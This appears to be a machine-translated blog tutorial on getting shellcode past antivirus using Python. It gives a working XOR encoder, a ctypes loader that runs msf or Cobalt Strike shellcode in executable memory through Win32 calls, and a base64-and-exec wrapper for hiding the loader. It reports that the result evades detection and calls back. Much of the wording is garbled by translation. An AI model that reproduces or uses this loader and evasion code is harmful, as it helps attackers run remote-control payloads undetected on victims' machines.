Shell ode calls based on py exemption
AUTHOR:ILU
What is shellcode
A shellcode is a piece of code that is executed to exploit a software vulnerability. A shellcode is a 16-digit machine code that often gives an attacker the name of a shell. Shelcodes are often written in machine language. After the temporary eip overflows, a shellcode machine code can be inserted that allows the CPU to execute, allowing the computer to execute any command from the attacker. (From Baidu)
Shelcode Call Process
We've seen this scenario in a lot of guys'exemption articles. We can only see where shellcodes are stored, but the specific calling logic in the code is not clear, even the function. Muddled can only set a shellcode, as long as the shellcode set in can not avoid killing, it is not clear where to start.
So here, in order to make everyone understand as much as possible, let's first take a look at the process of shellcode invocation.
ps: Maybe what I'm saying isn't accurate, it's just my understanding of shellcode calls.
1. Get ready shellcode(Can be msf Of shellcode, Or it can be CS Of shellcode, Or other) 2. Request a section of virtual memory (as shellcode Stored container) 3. hold shellcode Inject into the requested virtual memory 4. Calling in virtual memory using threads (which can have many methods) shellcode And execute
Introduction to Win32 Api
In windows, if you want to call shellcode, you can't escape the call of win32 api, if you can assemble it, you can do so.
Here's an introduction to the common API s. Function needs to query MSDN to understand, need a little win32 programming base. I said I had a headache learning, but the basics were not difficult.
# virtualalloc: Request virtual memory LPVOID VirtualAlloc( LPVOID lpAddress, // Specifies the desired starting address of the area to be allocated. Normally null SIZE_T dwSize, // Stack size to allocate DWORD flAllocationType, // Assignment of type DWORD flProtect // Execution rights of memory ); // Property Interpretation flAllocationType: MEM_COMMIT: Allocates physical storage for the specified memory page area in a paging file on memory or disk. This function initializes memory to zero.(Commit to physical memory) MEM_REVERSE: Retain a range of process virtual address space without allocating any actual physical storage to the in-memory or on-disk paging files. (Keep virtual memory) flProtect: PAGE_EXECUTE_READWRITE: Memory pages are allocated as readable, writable and executable PAGE_READWRITE: Memory pages are allocated as readable and writable #RtlMoveMemory: Copies the contents of one buffer to another. VOID RtlMoveMemory( IN VOID UNALIGNED *Destination, // Target to copy to IN CONST VOID UNALIGNED *Source, // Memory block to transfer IN SIZE_T Length // Memory block size ); # CreateThread: Create Thread HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // Security property, typically set to 0 or null SIZE_T dwStackSize, // Initial stack size, set to 0 LPTHREAD_START_ROUTINE lpStartAddress, // Thread function address LPVOID lpParameter, // Thread parameter, 0 if no parameter is passed DWORD dwCreationFlags, // Create thread flags to control threads LPDWORD lpThreadId // Thread id ); # WaitForSingleObject: Wait for the thread to finish executing DWORD WaitForSingleObject( HANDLE hHandle, // handle DWORD dwMilliseconds // Wait flag, commonly INFINITE, that is to wait indefinitely for the thread to finish executing );
How py executes win32 api
python can't call win32 api directly, we need a c extension module, ctypes. And we'll use a very important dll file--kernel32.dll, why? Because this dll file contains functions of win32 api, we can call Kernel32 from ctypes. The dll file implements the call to shellcode.
The exact usage of ctypes needs to be read in the official manual itself. I'll try to explain the role of each line in the code without much explanation.
Topics
At this point, we're going to start calling shellcode.
In conjunction with the exemption article in the previous chapter, let's make a confusion about shellcode and see how it works.
XOR shellcode code:
def enc(string, key): result = b"" for i in range(len(string)): result += chr(ord(string[i]) ^ key).encode() return result if __name__ == '__main__': string = "" key = 50 result = enc(string, key) with open("shellcode.bin", 'wb') as f: f.write(result)
shellcode load code
import ctypes # Call shellcode def callSC(SC, key): # Restore XOR buf = [ord(SC[i]) ^ key for i in range(len(SC))] # To a variable byte array shellcode = bytearray(buf) # Calculate shellcode length size = len(shellcode) # Call kernel32.dll kernel32 = ctypes.windll.kernel32 # Modify function return data type kernel32.VirtualAlloc.restype = ctypes.c_uint64 # MEM_COMMIT has a set median value of 0x00001000 in c MEM_COMMIT = 0x00001000 # PAGE_EXECUTE_READWRITE has a set median value of 0x40 in c PAGE_EXECUTE_READWRITE = 0x40 # Request memory space ptr = kernel32.VirtualAlloc( ctypes.c_int(0), # Base address can be filled in 0, but data type needs to be converted ctypes.c_int(size), # Set Stack Size ctypes.c_int(MEM_COMMIT), # Commit to physical memory ctypes.c_int(PAGE_EXECUTE_READWRITE) # Set permissions to read, write and executable ) # Put shellcode in buffer buf = (ctypes.c_char * size).from_buffer(shellcode) kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), # Memory Requested buf, # shellcode ctypes.c_int(size) # Moving data size ) # Create Thread Call Shelcode hThread = kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), # Calling shellcode with threaded functions ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) # Thread id is pointer type, need to pass in address, so use ctypes.pointer ) # Wait for the thread to finish executing, close the program # INIFITE has a set median value of -1 in c kernel32.WaitForSingleObject(ctypes.c_int(hThread), ctypes.c_int(-1)) if __name__ == '__main__': key = 50 with open("shellcode.bin", 'rb') as f: sc = f.read().decode() callSC(sc, key)
Local Kill Free Effect
Direct py file exemption, no virus reporting
Test the online effect of py execution
Generate exe for killing-free effect
Compiling the velvet venom is not a problem. Let's deal with the key calling functions. I'm more direct here, encrypting the whole function base64 directly. Here is the difference between eval and exec. eval can only execute a single statement, such as: eval ("os.system ('calc')); Exec can execute multiple statements such as exec("import os;os.system('calc')).
import ctypes import base64 exec(base64.b64decode(b'').decode()) if __name__ == '__main__': key = 50 with open("shellcode.bin", 'rb') as f: sc = f.read().decode() callSC(sc, key)
You can see that the entire fluff compilation process is not poisoned, then execute the test online.
Normally online, then simple XOR or b64 encoding can be used to hang the flannel.